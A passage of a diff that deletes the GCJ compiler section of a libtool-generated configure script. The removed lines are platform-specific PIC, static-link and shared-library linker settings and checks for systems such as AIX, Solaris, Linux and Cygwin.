- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-fpic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_GCJ='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_GCJ='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_GCJ='-Qoption ld '
- lt_prog_compiler_pic_GCJ='-PIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_GCJ='-Kconform_pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_GCJ='-pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_GCJ" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_GCJ"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... " >&6; }
-if ${lt_prog_compiler_pic_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_GCJ=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_GCJ"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_GCJ=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then
- case $lt_prog_compiler_pic_GCJ in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;;
- esac
-else
- lt_prog_compiler_pic_GCJ=
- lt_prog_compiler_can_build_shared_GCJ=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_GCJ=
- ;;
- *)
- lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_GCJ eval lt_tmp_static_flag=\"$lt_prog_compiler_static_GCJ\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_GCJ=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_GCJ=yes
- fi
- else
- lt_prog_compiler_static_works_GCJ=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_static_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_static_works_GCJ" = xyes; then
- :
-else
- lt_prog_compiler_static_GCJ=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_GCJ=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_GCJ=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_GCJ" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_GCJ" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_GCJ=
- enable_shared_with_static_runtimes_GCJ=no
- archive_cmds_GCJ=
- archive_expsym_cmds_GCJ=
- old_archive_From_new_cmds_GCJ=
- old_archive_from_expsyms_cmds_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- thread_safe_flag_spec_GCJ=
- hardcode_libdir_flag_spec_GCJ=
- hardcode_libdir_flag_spec_ld_GCJ=
- hardcode_libdir_separator_GCJ=
- hardcode_direct_GCJ=no
- hardcode_minus_L_GCJ=no
- hardcode_shlibpath_var_GCJ=unsupported
- link_all_deplibs_GCJ=unknown
- hardcode_automatic_GCJ=no
- module_cmds_GCJ=
- module_expsym_cmds_GCJ=
- always_export_symbols_GCJ=no
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_GCJ=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_GCJ=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_GCJ='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_GCJ=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_GCJ=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_GCJ=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=no
- enable_shared_with_static_runtimes_GCJ=yes
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_GCJ='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_GCJ='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_GCJ='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_GCJ=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_GCJ" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=yes
- archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_GCJ=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_GCJ=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_GCJ=''
- hardcode_direct_GCJ=yes
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_GCJ=yes
- else
- # We have old collect2
- hardcode_direct_GCJ=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_libdir_separator_GCJ=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_GCJ=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_GCJ='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_GCJ="-z nodefs"
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_GCJ=' ${wl}-bernotok'
- allow_undefined_flag_GCJ=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_GCJ='$convenience'
- archive_cmds_need_lc_GCJ=yes
- # This is similar to how AIX traditionally builds its shared libraries.
